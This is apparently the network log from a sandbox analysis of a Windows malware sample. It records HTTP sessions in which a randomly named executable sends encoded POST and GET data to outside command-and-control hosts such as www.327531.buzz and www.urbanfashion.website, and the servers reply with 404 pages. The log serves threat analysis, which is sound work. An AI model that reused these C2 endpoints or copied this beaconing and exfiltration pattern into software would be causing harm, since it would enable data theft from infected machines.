+xsYxKf61bN5iIgh4xmV4sW5Pwm5LEmoRTX+qffTehQYPNROhiKZ/ZP2ift0oUub7ISi76PJFNVVbnIm/VQWGs0n9ISSFb [TRUNCATED]
Nov 25, 2024 09:44:25.813674927 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:44:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 25, 2024 09:44:25.813745975 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49961	161.97.142.144	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:27.455677986 CET	517	OUT	GET /xd9h/?ifzt=XJyTEs9GXoAybgJL3Lz0/JwH+eiTm1uUb57LZhSSXQP8iaO5Q6m7cM20hY6MGSJfub8ibR0rowNO83l3EomIXmC1+i3fga28+sLpZTTW/AC/fI2RjxZA+PI=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.030002613.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:44:28.762455940 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:44:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Nov 25, 2024 09:44:28.762536049 CET	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Nov 25, 2024 09:44:28.762573004 CET	448	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"
Nov 25, 2024 09:44:28.762603998 CET	250	IN	Data Raw: 09 3c 70 3e 4f 6f 70 73 21 20 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 74 68 65 20 70 61 67 65 20 74 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 3c 2f 70 3e 0a 09 09 09 09 09 09 3c 70 3e 50 6c 65 61 73 65 20 63 Data Ascii: <p>Oops! We couldn't find the page that you're looking for.</p><p>Please check the address and try again.</p><section class="footer"><strong>Error Code:</strong> 404</section></div></div></div></div></body><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49978	43.199.54.158	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:34.239140987 CET	777	OUT	POST /zoqm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.327531.buzz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.327531.buzz Referer: http://www.327531.buzz/zoqm/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 64 6f 63 6c 47 74 31 6b 2f 77 64 6f 79 6c 4f 73 37 32 55 38 55 45 66 4d 54 54 38 6f 4b 56 36 74 41 46 37 42 39 33 6f 58 54 79 52 44 38 37 6c 49 78 73 70 35 56 69 57 69 31 73 51 6f 34 58 76 62 48 56 6c 55 46 78 62 6b 46 2b 68 6e 46 4c 6c 4a 4b 41 59 42 32 2f 50 2b 77 43 30 6b 2b 74 50 76 31 63 67 73 38 36 34 48 44 32 4c 72 54 68 41 79 70 72 61 32 71 44 64 41 78 59 4e 42 43 36 55 38 4f 6d 64 56 6e 4b 38 52 39 78 73 74 76 5a 70 79 76 65 50 33 74 37 5a 58 46 31 57 69 4e 31 48 6a 76 56 32 62 33 58 4f 54 56 4e 52 41 47 7a 67 6d 31 56 77 6e 62 57 38 6a 50 4c 54 77 42 47 78 33 61 51 3d 3d Data Ascii: ifzt=doclGt1k/wdoylOs72U8UEfMTT8oKV6tAF7B93oXTyRD87lIxsp5ViWi1sQo4XvbHVlUFxbkF+hnFLlJKAYB2/P+wC0k+tPv1cgs864HD2LrThAypra2qDdAxYNBC6U8OmdVnK8R9xstvZpyveP3t7ZXF1WiN1HjvV2b3XOTVNRAGzgm1VwnbW8jPLTwBGx3aQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49986	43.199.54.158	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:36.903022051 CET	797	OUT	POST /zoqm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.327531.buzz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.327531.buzz Referer: http://www.327531.buzz/zoqm/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 64 6f 63 6c 47 74 31 6b 2f 77 64 6f 78 46 2b 73 6f 46 38 38 53 6b 66 4e 57 54 38 6f 42 31 36 68 41 46 33 42 39 32 39 4b 54 41 31 44 38 61 31 49 77 74 70 35 5a 43 57 69 74 63 51 70 6c 48 76 51 48 55 59 70 46 30 6a 6b 46 2b 6c 6e 46 50 68 4a 4b 78 59 43 33 76 50 77 38 69 30 69 77 4e 50 76 31 63 67 73 38 36 74 6f 44 32 54 72 55 56 38 79 70 4b 61 31 69 6a 64 48 34 34 4e 42 55 4b 55 34 4f 6d 64 6e 6e 4f 38 33 39 79 55 74 76 63 74 79 76 50 4f 46 6e 37 5a 56 61 46 58 6a 48 58 69 48 33 56 7a 37 2b 55 76 79 66 59 31 4d 48 31 74 38 6b 6b 52 77 4a 57 59 51 53 4d 61 45 4d 46 4d 2b 42 51 36 4d 71 57 54 37 77 4d 4e 35 2b 31 36 4b 72 75 49 79 42 71 73 3d Data Ascii: ifzt=doclGt1k/wdoxF+soF88SkfNWT8oB16hAF3B929KTA1D8a1Iwtp5ZCWitcQplHvQHUYpF0jkF+lnFPhJKxYC3vPw8i0iwNPv1cgs86toD2TrUV8ypKa1ijdH44NBUKU4OmdnnO839yUtvctyvPOFn7ZVaFXjHXiH3Vz7+UvyfY1MH1t8kkRwJWYQSMaEMFM+BQ6MqWT7wMN5+16KruIyBqs=
Nov 25, 2024 09:44:38.460024118 CET	390	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:44:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49993	43.199.54.158	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:39.572726965 CET	10879	OUT	POST /zoqm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.327531.buzz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.327531.buzz Referer: http://www.327531.buzz/zoqm/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 64 6f 63 6c 47 74 31 6b 2f 77 64 6f 78 46 2b 73 6f 46 38 38 53 6b 66 4e 57 54 38 6f 42 31 36 68 41 46 33 42 39 32 39 4b 54 41 39 44 2f 6f 74 49 77 4f 78 35 58 69 57 69 7a 73 51 53 6c 48 76 4e 48 56 78 75 46 30 66 53 46 39 4e 6e 58 38 35 4a 64 7a 38 43 38 76 50 77 30 43 30 6e 2b 74 4f 6c 31 59 38 6f 38 36 39 6f 44 32 54 72 55 55 73 79 75 62 61 31 76 44 64 41 78 59 4e 46 43 36 55 51 4f 6d 46 33 6e 4f 6f 34 2b 44 30 74 76 38 39 79 73 39 6d 46 6b 62 5a 54 62 46 57 77 48 58 65 59 33 56 76 4a 2b 56 4b 6e 66 65 4a 4d 44 69 64 6b 30 6d 42 54 64 68 67 77 4e 2b 65 6d 43 6c 77 68 4b 68 47 41 69 6e 7a 50 69 39 38 62 30 48 53 61 36 73 63 6c 41 73 4d 77 4d 61 36 2f 34 46 63 4a 47 31 4f 72 72 58 45 68 43 39 42 50 55 61 31 44 41 2b 57 38 71 71 43 6f 76 55 6b 58 45 74 61 4f 52 57 72 6a 38 46 62 49 30 34 52 38 76 4c 51 56 59 4e 70 7a 68 64 51 73 44 56 73 67 57 79 31 39 32 58 55 4a 7a 41 63 34 79 66 6e 59 44 50 46 66 4c 39 56 44 6d 75 52 6c 7a 54 38 67 62 6d 54 44 74 6b 61 7a 75 55 64 4a 2f 44 75 51 35 [TRUNCATED] Data Ascii: ifzt=doclGt1k/wdoxF+soF88SkfNWT8oB16hAF3B929KTA9D/otIwOx5XiWizsQSlHvNHVxuF0fSF9NnX85Jdz8C8vPw0C0n+tOl1Y8o869oD2TrUUsyuba1vDdAxYNFC6UQOmF3nOo4+D0tv89ys9mFkbZTbFWwHXeY3VvJ+VKnfeJMDidk0mBTdhgwN+emClwhKhGAinzPi98b0HSa6sclAsMwMa6/4FcJG1OrrXEhC9BPUa1DA+W8qqCovUkXEtaORWrj8FbI04R8vLQVYNpzhdQsDVsgWy192XUJzAc4yfnYDPFfL9VDmuRlzT8gbmTDtkazuUdJ/DuQ5vP9HaZ4uosfTE/MaIrDPxZeYyCgw2U+1txANW981jniKSPnNocwxsQGmLESmhaU0mI9XlptTB1c1pUHIti69iRcwh0JK+Q3dA8ImYTl0xfM9Nk9fc3TMm1s3R0kvPF6nXmvNU5o1CeqWWUta1kNzRDE1CqZuC/DGEuC1ZhFb69MjS/YFruBJKh3397YAEc7NU+Cg+Pwvx3nOD64LCcSqwqJ32HMQVJ4RhUULEnRddFEewkn1awM5KGrMkoTxQO4uhn/Lcm92taYoBINE4VmCuTTc5k6iHF4WPfoFDsZEU4955ORj/z31HFf7r65PUdHhitW+qcXwjjHryLay2WN9UcoSgeg2bp3lNNccwuenCdR1bCb0S3xsIwm0ApPKeq+Q17EbV5x54yzlU6kwc1klr8EkZ4OQjuoDAaPmCA1C979bWYSotcUbGt4fzbYlxHVP5iCetRugL8l2mzZgzbwmdlCXfuN3qX9dtoolG2xbYb2XHEGUf8ulc67Je+buRZw0avOVpb547/FLE/FzfjlXHwE0zExtYYQaPp88/iVm7DcBEne01/sJ2fuIHy8xJZJnNz3t5ID+ujudgbihbWiCxkGniqkaAomQoENXzkTP4TgVHAT1pwQC1ifmRwT18E6JFWJ4/yBmn+AY7fKaJE5Ut5yQE+TGB3PL6V [TRUNCATED]
Nov 25, 2024 09:44:41.115652084 CET	390	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:44:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49999	43.199.54.158	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:42.262790918 CET	515	OUT	GET /zoqm/?qX=qP0hoZO0bjg4&ifzt=Qq0FFa8OkDRPhmjT0VM8NDOXfTRiFF6zBHj2iH9IdxJy16x8x8AWanWvy54Dx3T7LlN6VBvxFf1wAvhvFTk518nT82cv2sbx2pE2mKVvPmrAc0IY36SOsAA= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.327531.buzz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:44:43.814791918 CET	729	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:44:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50015	209.74.77.108	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:49.380299091 CET	804	OUT	POST /aezw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.urbanfashion.website Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.urbanfashion.website Referer: http://www.urbanfashion.website/aezw/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 61 50 30 32 58 77 37 78 55 54 4c 78 6f 70 67 58 67 55 69 41 32 68 63 30 6c 79 34 49 59 6f 38 6f 36 31 57 36 45 52 53 69 45 42 4b 32 4c 6a 63 46 45 44 6b 39 71 76 45 66 74 64 62 42 32 53 4d 4e 54 4b 4c 75 77 75 57 44 77 36 6a 4a 55 43 73 37 77 68 36 67 70 41 37 74 44 62 65 2b 74 34 57 73 4a 53 47 6a 67 37 44 51 6b 32 73 59 2f 2f 71 37 33 4e 34 66 48 6d 35 50 2f 77 5a 50 77 30 56 70 4e 56 6e 74 6b 73 4a 58 75 34 6c 49 37 5a 73 6a 4d 69 6a 65 78 64 59 79 43 49 53 79 46 65 61 44 6e 59 31 56 5a 59 30 4a 43 58 32 4a 52 76 4a 4d 71 4d 59 38 79 59 58 32 73 35 47 6d 44 67 76 70 48 67 3d 3d Data Ascii: ifzt=aP02Xw7xUTLxopgXgUiA2hc0ly4IYo8o61W6ERSiEBK2LjcFEDk9qvEftdbB2SMNTKLuwuWDw6jJUCs7wh6gpA7tDbe+t4WsJSGjg7DQk2sY//q73N4fHm5P/wZPw0VpNVntksJXu4lI7ZsjMijexdYyCISyFeaDnY1VZY0JCX2JRvJMqMY8yYX2s5GmDgvpHg==
Nov 25, 2024 09:44:50.674333096 CET	533	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:44:50 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50022	209.74.77.108	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
